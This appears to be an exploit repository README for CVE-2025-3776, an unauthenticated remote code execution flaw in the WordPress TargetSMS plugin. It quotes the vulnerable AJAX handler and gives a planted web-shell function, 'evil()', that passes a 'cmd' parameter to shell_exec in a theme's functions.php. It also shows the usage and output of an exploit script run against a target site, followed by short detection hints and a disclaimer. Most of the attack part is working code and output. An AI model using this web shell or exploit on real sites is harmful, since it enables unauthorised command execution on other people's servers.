nxploited/cve-2025-3776WordPress Verification SMS with TargetSMS Plugin <= 1.5 is vulnerable to Remote Code Execution (RCE)
The vulnerability originates from the use of call_user_func() on user-controlled input without sanitizing against a whitelist of allowed functions. This creates a logic flaw where any existing PHP function in memory can be executed without authentication, leading to a severe Remote Code Execution (RCE) condition.
File: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
This code allows unauthenticated users to trigger any function that exists in memory, including malicious ones if the attacker is able to load them.
To exploit this vulnerability successfully, a callable function must already exist in the WordPress environment. Since WordPress plugins and themes can auto-load functions, the attacker can inject their own function through the active theme’s functions.php file.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ This ensures the
evil()function is loaded into memory and becomes executable viacall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
If no evil() function or similar is available in memory:
{"status":false}
functions.php (as demonstrated).evil().Once a malicious function is loaded, an unauthenticated attacker can:
Look for repeated POST requests to:
/wp-admin/admin-ajax.php?action=targetvrHHndler
With callback=evil or any unexpected function names
This information is provided for educational and ethical research purposes only. The author is not responsible for any misuse or damage caused by the use of this information.
Exploit By: Nxploited (Khaled Alenazi)